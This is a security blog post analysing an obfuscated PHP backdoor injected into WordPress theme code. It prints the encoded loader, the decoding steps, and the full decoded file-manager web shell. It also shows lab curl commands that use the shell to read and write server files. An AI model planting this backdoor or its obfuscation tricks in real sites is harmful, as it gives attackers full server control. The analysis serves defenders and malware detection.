Varying Degrees of Malware Injections Decoded

It is no longer the day of human-readable injections, or even the use of basic encoding schemes like base64. Instead we’re seeing a rise in complex, and in some instances, elusive encoding schemes that carry with them a big punch.

There are varying degrees of malware injections that include some of the following traits:

  • Encoding (pretty basic)
  • Encryption & Encoding (a bit more exciting and challenging)
  • Concatenation & Encryption & Encoding ( gets our hearts pumping a bit faster)
  • Cameleon integration (flows with existing code and difficult to detect)

In this post we’ll look at an instance where the malware leverages a combination of encoding, concatenation and cameleon traits to impact the end-user.

**Note: This is only a snippet of the payload. The full payload can be found here.

/* <em>Your comment is awaiting moderation.</em>  */

/* <h2><a href=” the_permalink() ” rel=”bookmark” title=”Permanent Link to the_title(); “> the_title(); </a></h2> */

/* for <strong>’ echo wp_specialchars($s); ‘</strong>. If you are unable to find anything in these search results, you can try one of these links.</p>    */

/* <p><input type=”text” name=”email” id=”email” value=” echo $comment_author_email; ” size=”22″ tabindex=”2″ />  */

/*   $Vs7A=’……………………….’.’……………….7QBn02JeuS4…W…GUx6m’.’X/3zflZKrcy’.’CN85bVvkDH……hgMdRFLs';

# </div>

/* <div> next_posts_link(‘&laquo; Previous Entries’) </div>    */

/* */

$Vs7A.=’t9IT=YEA.p1ojawOPi…..';

# Template Name: Archives

# <h2>Search Results</h2>

// Do not delete these lines

/* endif; // If registration required and not logged in     */

$ngU663=’kAVPOEjPF’.’H5KOAjPdA’.’K7LPbwMlhb0ZRKdfj3v=

sKF4CrU=K3MY’.’prxP1pv=TrFHRKdQb2U=f9F4V9L=RsdAKWUK';

// while (have_posts()) : the_post();

/* </li>  */

// <p><input name=”submit” type=”submit” id=”submit” tabindex=”5″ value=”Submit Comment” //

// </div>

/* */

$ngU663.=’j3v=sK5PwwMlhb5AfudAKWUzpjkQO2xP1′.’rLzarO

HRKdQbXFs1yBseU54i’.’tOu0sRZRE5s3rM81/kZ1Pv=T';

# </div>

$ngU663.=’3MQkPguczMlhbLFardQbwMlhbJ81KUZRK’.’v=ntv

FRILF0t5f’.’j0lsRB=P’.’dQe3rDRACuVQddM8Xb6PpXn=R3v=j7kY3b54dKdQO/';

# <p>You are currently browsing the <a href=” echo get_settings(‘siteurl’); “> echo bloginfo(‘name’); </a> weblog archives

/* endif;   */

In this instance, the attacker retained all the good code but disabled it with the use of commenting tags – i.e., using  “/*   */”

When you move past all the “noise” this is what you see:

— Beginning of Malicious File —
$Vs7A=’……………………….’.’……………….7QBn02JeuS4…W…GUx6m’.’X/3zflZKrcy’.’CN85bVvk

DH……hgMdRFLs';
$Vs7A.=’t9IT=YEA.p1ojawOPi…..';

$ngU663=’kAVPOEjPF’.’H5KOAjPdA’.’K7LPbwMlhb0ZRKdfj3v=sKF4CrU=K3MY’.’prxP1

pv=TrFHRKdQb2U=f9F4V9L=RsdAKWUK';
$ngU663.=’j3v=sK5PwwMlhb5AfudAKWUzpjkQO2xP1′.’rLzarOHRKdQbXFs1yBseU54i’.’t

Ou0sRZRE5s3rM81/kZ1Pv=T';
$ngU663.=’3MQkPguczMlhbLFardQbwMlhbJ81KUZRK’.’v=ntvFRILF0t5f’.’j0lsRB=P’.’dQ

e3rDRACuVQddM8Xb6PpXn=R3v=j7kY3b54dKdQO/';
$ngU663.=’kQewnFetkY3b5fj0lsRB=PdQe3rDRACuVQddxP1jk’.’AVhO4VrLzarOHRKdQb

‘.’XFs’.’1yBseU54dNU4VkcV5T5s3rM81/';
$ngU663.=’kQeanHerU49by8p2OZV35Ihb5Z1adAbby8pXFs1yB’.’seU54dNU4VkcV5T5s

3/kAKEMAKIO4V3MQ’.’eJBojlVfh2dA';
$ngU663.=’V9dQddM8pE5zpaL=swdZXt5fj0lsRB=Pd3LF’.’a35s3rM8pXdAV9dQpjkQeJB

ojlVfh2dAV9dQddx';
$ngU663.=’P1KUZRKkZhbOZ5rU20tkXVPOEjPJZeK6Z0b’.’U=KIO4K7LPkrxP1K6AK3M

YprxP1jkZ3bL=CIL’.’=KEMAKIO4V3MQeJBojlVfh2′;
$ngU663.=’0BV56lRNnKc2F8′.’XrkZhb5AfudA’.’KWUzpjkQdrUELW5′.’Ihb5Z1a’.’dAb’.’by8

pXFs1yBseU53ff8FXIv45l5s3/';
$ngU663.=’kZ3bL=CIL=KEMAKIO4′.’V3MQeJ’.’BojlV’.’fh2duX96Fk4dAn2F8XrkZh’.’b5Af

ud’.’AKWUzpjkQdiv4erOzO/kQewnFetkY3b5′;
$ngU663.=’fj0lsRB=Pd4′.’xlaTO’.’uL3LzddxP1jkAVhO4VrLzarOHRKdQbXFs1yB’.’seU545i

RlX9RHX’.’9LzddM8Xb6PpXn=R3v=j7kY3b54sWLAKE5′;
$ngU663.=’Ihb5Z1adAbby8pXFs1yBs’.’eU545iRlX9RHX9′.’LzddxPpXLAf3L8′.’pjkQarOHR

KdQbXFs1yBseU54eadAB2F8Xb5z’.’nb';
$ngU663.=’k=ViOZeTMQeJBojl’.’Vfh2LAf3L8ddM8XbyPpXFs1yBseU54eadAB2′.’F8pDkQ

O2xPp’.’XU=jXL8pjkQarOHRKdQbXFs1yBseU5H1KOE';
$ngU663.=’32F8Xb5znbk=ViOZeT’.’MQeJBojlVfh2OAVPU8ddM8XbyPpXFs1yBseU54s’.’

WLAB2F8pD’.’kQO’.’2xP1′.’rLzbXLAf3L8pjyl3b5POb5′;
$ngU663.=’znb5AsWLABbyl3jkQO2M81/kZ1Pv=’.’T3MQ5fO25WO2CXnFeKkAf7LQ1wL

F5ikAsrOHRr’.’UEOzMlhbLFard';
$ngU663.=’QbwMlhbJ81jkAVhO4Bb6P1wOEK7dQbzeF5PUH5′.’SUESbOAfPn=sIkzX/kA’.

‘V9vF0tcQX/kZ3′.’bv=ntL=swdZXt5Z1adAbrM8′;
$ngU663.=’1/kZ1Pv=T3MQ5′.’fO’.’25WO2CwnFetkAsrOHRrUEOzMlhbLFardQbwM’.’lhb

J81rLzaIdZ5wUHct5Z1′.’adAbhkQOW5′.’PXbk';
$ngU663.=’l3jkYprkQewnFetkY3bL4V3nHdXMQX75PS2gze’.’wn’.’FetxP1Id4K3′.’n4′.’bt5

AfudAKWUzXb6P1unFRKkQdrUE';
$ngU663.=’LW5Itbv=ntk=LrUAVJL’.’FarOHeIMQew’.’nFetM’.’8Xb6P1wOEK7dQ’.’bzeF5

PUH5SOAf3vQp25Z1adAb2kAK’.’IkATWdQ1K6AKIdZczMlhb';
$ngU663.=’n25Kn=h/kZ3b5Anby8p2OHe’.’adQO/kAKEM’.’QeEOHeadfjaO2kby81′.’p5Ant

5Z1adAbrM8′.’1w’.’OEK7dQp2l3iS5P9XL2R3nF';
$ngU663.=’eJnF5P=Iddg2Rw’.’OEK7d’.’Antk2wKUPkhMQeEOHeadfjaO25UcK3b’.’5zpwR

IOHM8X75Hw2gzeEO’.’HeadfjaO25UxV';
$ngU663.=’3/kAVhO4BbOZ5rU20bkXVPOE’.’jPJAfun4VIOP1XL=TrL=0bdA’.’SbOAf3vQ

p25Z1adAb2kuhbn25Kn=h/kARaO';
$ngU663.=’4Bb54dKdQODkAKEMQfEv=CKF4V9′.’vFR3OPbXOAf3vQXrkZhbOZ5rU20t

kXVPOEjPJQOXO’.’Af3vQObvFcbUEj3kALWd=TXkzX/kA5′;
$ngU663.=’PL=fNxP1jkAKEM’.’Qf’.’rOsjEv=CKMQewnFetM8Xb6P1wOEK7dQbzeF5P’.’U

H5S5PewnFet5P1rOP17UH0bLEKhL8krx';
$ngU663.=’P1zOEVavIhbJ81rLzbavFRJOEVaLAfzU’.’ABt’.’5Z1adAbrM81/kZ1Pv=T3MQ

5fO25′.’WO2w25Z1a’.’dAb2k';
$ngU663.=’AKIkATWdQ1PL=fXn=5hL8krxP1z’.’OEVavIhbJ8pXLzpjkQdEv=CK5P92FPO

754dK’.’dQO’.’75sS2gzduU4T3L=T3OPO/kAKEMoL1lfRfkY3jy';
$ngU663.=’8pt5ZeK6Z0by8pXLzbXOAf3vQXrM81/kZ1P’.’v=T3MQ5fO25WO2Cun=9′.’2

dQ1PL=fXkALrUABb5PewnFet5PkrxP1jkAVh';
$ngU663.=’O4Bb6P1wOEK7dQb2l3iS5PX/’.’kQeEkY3b545aO4B2gzO4RQO75sS2gzdKUE

RW’.’LAB2xP1wOEK7dQbXLzbXdAV9dQXrxP1jk';
$ngU663.=’A5PL=fNxP1unFRKkQdwdF02xz1unFRKkQd’.’iv4erOzODkAR’.’aO4Bb54sWL

AK’.’E5Itb5Z1adAbby81PdZ5r’.’U8bXOAf3vQwb5PS2Ml';
$ngU663.=’hb5ZVwLAKPkY3bM’.’QeXvF57n=sKFH1WOPpjkZR3O25wUHct5Z’.’1adAbh

kQOW5PXrk’.’Y9bcQpGkZRsn2R3OzbXOAf3vQwbcQwb5Ae';

You can pull the rest of the strings from the full payload here.

$QIBi4n=’ba’.’se6′.’4_de’.’cod’.’e'; # base64_decode()
$fu2hV=’or’.’d'; # ord()
$cO1ZVOV=’cou’.’nt'; # count()
$JioRdQa=’preg’.’_sp’.’lit'; # preg_split()
$br1l4=’im’.’pl’.’od’.’e'; # implode()
$EblYfhO=$JioRdQa(‘//’, $Vs7A,-1,1); # preg_split(‘//’, $Vs7A,-1,1)
$l8ZxVd=$JioRdQa(‘//’, $ngU663,-1,1); # preg_split(‘//’, $ngU663,-1,1)

$Wn6l=$cO1ZVOV($l8ZxVd); # count($l8ZxVd)

for ($i = 0; $i < $Wn6l; $i ++) {
$l8ZxVd[$i] = $EblYfhO[$fu2hV($l8ZxVd[$i])]; # $l8ZxVd[$i] = $EblYfhO[ord($l8ZxVd[$i])];
}

eval($QIBi4n($br1l4(”, $l8ZxVd))); # eval(base64_decode(implode(”, $l8ZxVd)));

WHAT THE HECK?

If you find yourself thinking this, you’re not alone – we all are. We have to remove all the noise and make it ready to be converted into a human-readable format first.

If you’re thinking that the best step is to replace eval() with echo() then you’re on the right track.

UNDERSTANDING THE DECODING PROCESS

If you’re thinking, Wow, that’s cool, but how did you do that, don’t fret, we’ll explain.

The first question is probably why use echo() in the place of eval(). Let’s look at that…

First, we see this string:

eval($QIBi4n($br1l4(”, $l8ZxVd))); # eval(base64_decode(implode(”, $l8ZxVd)));

This tells us that we’re trying to evaluate a specific expression, but what exactly? We break it down to better understand:

$QIBi4n = base64_decode function => $QIBi4n =’ba’.’se6′.’4_de’.’cod’.’e';

$br1l4 = implode();

How do we know this? Take a look at the last piece of the code snippet:

# eval(base64_decode(implode(”, $l8ZxVd)));

So what about everything else in the file?

Second, we turn our attention to the content of the file (everything above the snippet above). If you feel your heart skip a beat, don’t, just understand that it has been concatenated. We know this because of the use of this: $ngU663. In short, it’s intelligently breaking the encoding so that it can bypass detection… sneaky sneaky

So wait, how about the echo?

Well, we know that “eval” evaluates and we know that “echo” displays results. Knowing that, then it quickly becomes apparent, lets just see what’s being evaluated..:) When you do that, it happily outputs what we see above.

Still having trouble understanding what echo does? Look at this example:

$string = ‘abc’ . ‘def';

$string .= ‘gh';

echo $string -> the result is going to be abcdefgh

THE RESULTS

When you follow the process above this is what you get:

error_reporting(0);
@set_time_limit(0);
@ini_set(‘max_execution_time’,0);

$action = ”;

if (isset($_POST[‘khr454sf’])) {
print(“2.3″);
exit(0);
} elseif (isset($_POST[‘BGJz4lcT’])) {
$action = ‘get';
$path = $_POST[‘BGJz4lcT’];
} elseif (isset($_POST[‘gkoeH1Ry’])) {
$action = ‘put';
$path = $_POST[‘gkoeH1Ry’];

if (isset($_POST[‘text’]) && !empty($_POST[‘text’]))
$text = $_POST[‘text’];
else {
print(“Error|text missing”);
exit(0);
}
} elseif (isset($_POST[‘AEIy3kbS’])) {
$action = ‘info';
$path = $_POST[‘AEIy3kbS’];
} elseif (isset($_POST[‘v98yr6tf’])) {
$action = ‘mkdir';
$path = $_POST[‘v98yr6tf’];
} elseif (isset($_POST[‘bm5987y8f’])) {
$action = ‘modif';
$path = $_POST[‘bm5987y8f’];

$date = (isset($_POST[‘date’]) && !empty($_POST[‘date’])) ? $_POST[‘date’] : ”;
$mode = (isset($_POST[‘perm’]) && !empty($_POST[‘perm’])) ? $_POST[‘mode’] : ”;

if ($date === ” && $mode === ”) {
print(“Error|date and perm missing”);
exit(0);
}
} else {
print(“Error|no params”);
exit(0);
} if (empty($path)) {
print(“Error|path missing”);
exit(0);
} if (strpos($path, ‘/’) !== 0)
$path = getcwd().’/’.$path;

switch ($action) {
case ‘info':
if (!file_exists($path)) {
print(“Error|path ‘$path’ is not exists”);
break;
}
$f = ‘stat';

if ($fstat_arr = @$f($path))
print ‘OK|’.$fstat_arr[7].sprintf(“|%o”,($fstat_arr[2] & 0777)).’|’.$fstat_arr[9];
else
print “Error|access denied to path ‘$path'”;
break;

case ‘get':
if (!file_exists($path)) {
print(“Error|’$path’ is not found”);
break;
}
if (!is_file($path)) {
print(“Error|’$path’ is not file”);
break;
}
if (!is_readable($path)) {
print(“Error|’$path’ is not readable”);
break;
}
$f = ‘file’.’_’.’get’.’_’.’contents';

if (FALSE === ($text = $f($path))) {
print(“Error|can’t read file ‘$path'”);
} else {
print(‘OK|’);
$f = ‘base’.’64’.’_’.’encode';
print($f($text));
}
break;

case ‘put':
case ‘mkdir':
case ‘modif':
$path = rtrim($path, ‘/’);
$updir = ($dirname_pos = strrpos($path, ‘/’)) > 0 ? substr($path, 0, $dirname_pos) : ‘/';

if (!is_writable($updir)) {
print(“Error|updir is not writable”);
break;
}
$result = ”;
$status = ‘OK';

if ($action === ‘mkdir’) {
$f = ‘mk’.’dir';
if (is_dir($path)) {
$result .= ” dir ‘$path’ exists”;
$status = ‘Warning';
} elseif (!@$f($path)) {
print(“Error|can’t make dir ‘$path'”);
break;
}
} elseif ($action === ‘put’) {
$is_bloc = isset($_POST[‘bloc’]);
$bloc = $is_bloc? $_POST[‘bloc’] : ”;
$fm = ‘a';
$f = ‘unl’.’ink';

if ((!$is_bloc || $bloc === ‘bgn’) && is_file($path) && ! @$f($path))
$fm = ‘w';
$f = ‘fop’.’en';

if (($out_fh = @$f($path, $fm)) === false) {
print(“Error|can’t open file ‘$path'”);
break;
}
$f = ‘fwr’.’ite';
$ff = ‘base’.’64’.’_de’.’code';
$result = @$f($out_fh, $ff($text));
$f = ‘fcl’.’ose';
$f($out_fh);

if ($result === FALSE) {
print(“Error|can’t write text to file ‘$path'”);
break;
}
}

if ($action !== ‘put’ || !$is_bloc || $bloc === ‘end’) {
if (isset($_POST[‘perm’]) && !empty($_POST[‘perm’])) {
$f = ‘chm’.’od';
if (!@$f($path, $_POST[‘perm’])) {
$result .= “|can’t set path ‘$path’ perm to ‘”.$_POST[‘perm’].”‘”;
$status = ‘Warning';
}
}
if (isset($_POST[‘date’]) || !empty($_POST[‘date’])) {
$f = ‘to’.’uch';
if (!@$f($path, $_POST[‘date’])) {
$result .= “|can’t set file ‘$path’ date to ‘”.$_POST[‘date’].”‘”;
$status = ‘Warning';
}
}
}
print ($action === ‘modif’ && $status === ‘Warning’? ‘Error’ : $status).’|’.$result;
break;

default: print(“Error|unknown op”);
}
?>

DISSECTING & LEVERAGING THE RESULTS

As you can see the code still uses some techniques to bypass & avoid detection:

-> $f = ‘fwr’.’ite';
-> $ff = ‘base’.’64’.’_de’.’code';
-> $f = ‘file’.’_’.’get’.’_’.’contents';
-> and others

Here is a little demonstration of how this can be used by the attackers to cause havoc on your server:

Let’s say our HTTP user (www-data:www-data) has permissions to the following directories:

~/sandbox$ ls -la /var/www/
total 24
drwxr-xr-x 4 root root 4096 2012-03-29 10:58 .
drwxr-xr-x 16 root root 4096 2011-06-08 06:16 ..
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:21 sucuri

~/sandbox$ ls -la /var/www/sucuri
total 16
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:21 .
drwxr-xr-x 5 root root 4096 2012-03-29 11:21 ..
-rw-r–r– 1 root root 5809 2012-03-29 11:15 malware.php

Checking Version of the malware ?!

~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “khr454sf=info”
2.3

Checking if directory exists (status | file size | permissions | epoch time)

~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “AEIy3kbS=/var/www/sucuri”
OK|4096|755|1333045307

Getting file information (status | file size | permissions | epoch time)

~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “AEIy3kbS=malware.php”
OK|5809|644|1333044903

Writing files to disk (Very dangerous [base64])

~/sandbox$ curl -s http://10.1.1.104/sucuri/malware.php -d “gkoeH1Ry=phpinfo.php&text=PD9waHAgcGhwaW5mbygpOyA/Pg==”
OK|19

What did it do? Lets take a look:

~/sandbox$ ls -la /var/www/sucuri
total 20
drwxr-xr-x 2 www-data www-data 4096 2012-03-29 11:28 .
drwxr-xr-x 5 root root 4096 2012-03-29 11:21 ..
-rw-r–r– 1 root root 5809 2012-03-29 11:15 malware.php
-rw-r–r– 1 www-data www-data 19 2012-03-29 11:28 phpinfo.php

~/sandbox$ cat /var/www/sucuri/phpinfo.php
<?php phpinfo(); ?>

EEK.. What is all this?

Ok, taking a step back, we replicated the attack vector by writing a file to disk with the following content:

‘PD9waHAgcGhwaW5mbygpOyA/Pg==’,

This in turn is <?php phpinfo(); ?> in base64. Using this method simulates what attackers can leverage to embed their backdoors and retain full server control as long as the malicious file resides on the server.

PULLING IT ALL TOGETHER

Apologies if your head hurts, it happens some times. This example brought up a number of good points. The key one to focus on is the sophistication involved in the encoding process of cameleon integration which is used to embed bad code with good.

A cursory scan of file names just isn’t cutting it anymore, you have to get down and dirty by opening the files and verifying the code. Don’t stop at the core installs, look at your themes, plugins, extensions, etc… all it takes is one injection for the attackers to take full control of your server.


It can be overwhelming, but that’s why we offer Sucuri SiteCheck to everyone for free. Use it! Perform these important scans and protect yourself. Become proactive in the fight against malware.

Scan your website for free:
About Rodrigo Escobar

Rodrigo is a Senior Security Analyst, he is one of the leads on the Remediation / Support team. His diet consists of web-based malware in the morning, backdoors in the afternoon and security research in the evening. You can find him on Twitter: @ipaxdc.